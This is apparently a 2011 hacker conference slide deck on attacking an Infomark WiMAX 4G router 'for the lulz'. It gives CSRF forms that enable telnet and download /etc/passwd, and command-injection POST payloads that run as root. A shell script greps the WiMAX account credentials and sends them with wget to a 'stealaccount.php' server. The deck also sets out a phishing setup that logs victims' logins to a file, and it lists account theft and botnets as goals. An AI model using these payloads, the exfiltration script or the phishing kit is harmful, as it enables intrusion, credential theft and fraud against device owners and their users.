Packets in the Dark
Pwning a 4G device for the lulz
Welcome!
RuFlO + biatchO
RuF10

Packets in the Dark - Pwning a 4G device for the lulz

★ The dude who runs the CTF
★ CTF overlord since 2008 - 2011
★ Security research in spare time
★ http://twitter.com/xrufiox
biatch0

Packets in the Dark - Pwning a 4G device for the lulz

★ The dude who takes pictures
A random brown panda
Based on an all-IP packet switched network.

**Peak data rates of up to approximately 100 Mbit/s for high mobility such as mobile access and up to approximately 1 Gbit/s for low mobility such as nomadic/local wireless access, according to the ITU requirements.**

- Dynamically share and use the network resources to support more simultaneous users per cell.
- Scalable channel bandwidth 5–20 MHz, optionally up to 40 MHz.
- Peak link spectral efficiency of 15 bit/s/Hz in the downlink, and 6.75 bit/s/Hz in the uplink (meaning that 1 Gbit/s in the downlink should be possible over less than 67 MHz bandwidth).
- System spectral efficiency of up to 3 bit/s/Hz/cell in the downlink and 2.25 bit/s/Hz/cell for indoor usage.
- Smooth handovers across heterogeneous networks.
- Ability to offer high quality of service for next generation multimedia support.
4G stuff

Packets in the Dark - Pwning a 4G device for the lulz

★ Based on an all-IP packet switched network.
★ Peak data rates of up to approximately 100 Mbit/s for high mobility such as mobile access and up to approximately 1 Gbit/s for low mobility such as nomadic/local wireless access, according to the ITU requirements.
★ Dynamically share and use the network resources to support more simultaneous users per cell.
★ Scalable channel bandwidth 5–20 MHz, optionally up to 40 MHz.
★ Peak link spectral efficiency of 15 bit/s/Hz in the downlink, and 6.75 bit/s/Hz in the uplink (meaning that 1 Gbit/s in the downlink should be possible over less than 67 MHz bandwidth).
★ System spectral efficiency of up to 3 bit/s/Hz/cell in the downlink and 2.25 bit/s/Hz/cell for indoor usage.
★ Smooth handovers across heterogeneous networks.
★ Ability to offer high quality of service for next generation multimedia support.
★ is LTE/WiMAX
The Biscuit aka Infomark IMW-C610W
The biscuit

Packets in the Dark - Pwning a 4G device for the lulz

- Infomark IMW-C610W
- Portable WiMax to Wi-Fi Router
- Fully compliant with Mobile WiMax Wave2 profiles based on the IEEE 802.16e-2005 standard
- Allows multiple Wi-Fi devices to connect
- Supports USB tethering (RNDIS) and connecting to a WiMax network by USB
- ARM based (ARM926EJ-S rev 5 (v5b))
- Runs Linux
The biscuit and the bugs

http://www.fotoblur.com/imgs/0/0/0/6/5/7/9/109317.jpg?v=1
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

★ Trustwave's SpiderLabs Security Advisory TWSL2010-008 (CVE-2010-4507)

★ Matthew Jakubowski of Trustwave's SpiderLabs

★ Device Name : IMW-C615W

★ Cross-Site Request Forgery (CSRF)
<table>
<thead>
<tr>
<th>CLEAR iSpot</th>
<th>Device Y</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add newuser</td>
<td>Doesn’t work</td>
</tr>
<tr>
<td>Remove root password</td>
<td>Doesn’t work</td>
</tr>
<tr>
<td>Enable remote administration access</td>
<td>Doesn’t work</td>
</tr>
<tr>
<td>Enable Telnet</td>
<td>Hooray!</td>
</tr>
<tr>
<td>Allow remote telnet access</td>
<td>Doesn’t work</td>
</tr>
<tr>
<td>Downloading files</td>
<td>Hooray!</td>
</tr>
</tbody>
</table>
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

Enabling telnet:

<form method="post" action="http://192.168.1.1/cgi-bin/webmain.cgi">

<input type="hidden" name="act" value="act_set_wimax/etc/config">

<input type="hidden" name="ENABLE_TELNET" value="YES">

<input type="submit">

</form>
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

Getting files off the device:

<form method="post" action="http://192.168.1.1/cgi-bin/upgrademain.cgi">
<input type="hidden" name="act" value="act_file_download">
<input type="hidden" name="METHOD" value="PATH">
<input type="hidden" name="FILE_PATH" value="/etc/passwd">
<input type="submit">
</form>
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

★ Enabled telnet.....but no login
★ None of the other CVE-2010-4507 vulnerabilities worked
★ Get cracking!

• Download config files etc.
• Download webmain.cgi
• Static analysis
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

The biscuit and the bugs

Wednesday, October 12, 11
1. DMZ settings arbitrary command execution

2. Port forward settings arbitrary command execution

3. Remote management settings arbitrary command execution
DMZ settings arbitrary command execution

http://192.168.1.1/cgi-bin/webmain.cgi

[POST Data]

act=act_network_set&dmz_host_ip=50 'echo lala > /tmp/xyz'&enable_dmz=YES
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

DMZ settings arbitrary command execution
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

DMZ settings arbitrary command execution
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

Port forward settings arbitrary command execution

http://192.168.1.1/cgi-bin/webmain.cgi

[POST Data]

act=act_network_set&add_enable=YES&add_host_ip=50 `echo 1 > /tmp/abc`&add_port=6666&add_protocol=BOTH&add_memo=BOTH:6666
The biscuit and the bugs
Packets in the Dark - Pwning a 4G device for the lulz

Port forward save settings arbitrary command execution
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

Port forward save arbitrary command execution
Remote management settings arbitrary command execution

http://192.168.1.1/cgi-bin/webmain.cgi

[POST Data]

act=act_network_set&enable_remote_access=YES&remote_access_port=8899 `echo trala` > /tmp/def`
The biscuit and the bugs

Packets in the Dark - Pwning a 4G device for the lulz

Remote management settings arbitrary command execution

![Burp Suite screen showing a request to set network settings with `echo` command execution](image)

Wednesday, October 12, 11
The biscuit and the bugs

Remote management settings arbitrary command execution
They execute as root
A random brown panda

***$r0cks94*****
iSpot Unrestricted
Quick and easy unrestricting

CLICK FOR NEWEST ISPOT UNRESTRICTED INSTRUCTIONS
CLICK FOR OLD ISPOT UNRESTRICTED HOW-TO INSTRUCTIONS
CLICK TO DOWNGRADE YOUR FIRMWARE
FIRMWARE AND SOFTWARE INFO
FORUM LAUNCHED!

UPDATE: Check the forum for latest news on 2209. Including how to unlock it.

Clear released a new version of the iSpot software today, and with it they made a few changes. The
new iSpot 2209 has improved, and does the downgrade method, specific method. At the moment, as

http://ispotunrestricted.com

Wednesday, October 12, 11
First, disable Firmware Over The Air (FOTA) feature.

/etc/upgrade.conf

AUTO_UPGRADE_URL

AUTO_UPGRADE_URL_EXT1
Firmware hacking

Packets in the Dark - Pwning a 4G device for the lulz

★ IMW-C601W_V1994_W121_R2305KRW.bin
★ fwtool (oz_paulb)
★ Unpacks into 4 files:
  - fwinfo.txt
  - kernel.bin
  - rootfs.bin (JFFS2)
  - wifi.bin
1. Extract the firmware:
   ★ ./fwtool -unpack IMW-C601W_V1994_W121_R2305KRW.bin biscuit_expanded

2. Convert from big endian to little endian:
   ★ jffs2dump -b -c -e rootfs.bin.le rootfs.bin

3. Create necessary block devices and mount:
   1. mknod /tmp/mtd0 b 31 0
   2. modprobe mtd
   3. modprobe jffs2
   4. modprobe mtdram total_size=256000 erase_size=256
   5. modprobe mtdchar
   6. modprobe mtdblock
   7. dd if=rootfs.bin.le of=/tmp/mtd0
   8. mount -t jffs2 /tmp/mtd0 /media/biscuit
Firmware hacking

Packets in the Dark - Pwning a 4G device for the lulz

Problem?
Firmware hacking

- The flash_program WILL NOT allow flashing of older firmwares
- MD5Sum table keeps track of firmwares
- Flash program also refers to /etc/version.svn
- Extra 64 bytes in newer firmwares
Packets in the Dark - Pwning a 4G device for the lulz

Pulling off cool shit

★ odayz + CSRF + social engineering = WIN!
★ Interesting attacks to pull off:
  • Steal accounts
  • Start a botnet
  • Pwn the user’s machine
  • Redirect traffic and sniff
  • There has to be other interesting shit to pull off.....
<html>
<head>
    <title>Speed Test</title>
</head>
<body>
    <img src="1151050271.png" />
</iframe>
</body>
</html>
Hijacking accounts

Packets in the Dark - Pwning a 4G device for the lulz

"biatch08" : "bl47chpa55"

Wednesday, October 12, 11
Hijacking accounts

Packets in the Dark - Pwning a 4G device for the lulz

#!/bin/sh

USERNAME=`grep ^identity /system/wimax/sdk.conf`
PASSWORD=`grep ^password /system/wimax/sdk.conf`

wget -s -q "http://server/stealaccount.php?$USERNAME&$PASSWORD"
Attacking the inside

Packets in the Dark - Pwning a 4G device for the lulz
Attacking the inside

Packets in the Dark - Pwning a 4G device for the lulz

```
Starting Nmap 5.21 ( http://nmap.org ) at 2011-10-12 04:09 MYT
Warning: 40.117 giving up on port because retransmission cap hit (2).
Nmap scan report for 40.117
Host is up (0.089s latency).
Not shown: 992 closed ports
PORT     STATE     SERVICE
21/tcp   filtered    ftp
23/tcp   filtered    telnet
53/tcp   open        domain
80/tcp   filtered    http
135/tcp  filtered    msrpc
139/tcp  filtered    netbios-ssn
445/tcp  filtered    microsoft-ds
9415/tcp filtered    unknown
```

Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds
Attacking the inside

Packets in the Dark - Pwning a 4G device for the lulz

Wednesday, October 12, 11
Attacking the inside

Packets in the Dark - Pwning a 4G device for the lulz

Wednesday, October 12, 11
Attacking the inside

Packets in the Dark - Pwning a 4G device for the lulz
Attacking clients connected to the device
Purposely left blank!
Example!

Packets in the Dark - Pwning a 4G device for the lulz

SOCIAL ENGINEERING SPECIALIST

Because there is no patch for human stupidity
Gone Phishing

Packets in the Dark - Pwning a 4G device for the lulz

★ A mobile phishing device! Hooray!
★ Battery powered and small
★ Redirect users to fake login pages located on the device itself

You’ll need:
1. dnsmasq
2. thttpd
3. CGI script (to log credentials)
Gone Phishing

Packets in the Dark - Pwning a 4G device for the lulz

Facebook helps you connect and share with the people in your life.

Sign Up
It's free and always will be.

Welcome to Facebook - Log In, Sign Up or Learn More - Windows Internet Explorer pro

http://www.facebook.com

Wednesday, October 12, 11
Packets in the Dark - Pwning a 4G device for the lulz

Gone Phishing

# cat save.cgi
#!/bin/sh

echo $QUERY_STRING >> ../accounts.txt
echo -e "Location: /\n\n"
echo -e "Content-type: text/html\n\n"
Gone Phishing
Packets in the Dark - Pwning a 4G device for the lulz

email=thisisnotruf10@gmail.com&pass=thisisnotmypassword&default_persistent=1
That’s all folks!
Checkout the CTF!

Greetz: RBP, jaku, op_paulb, #No4G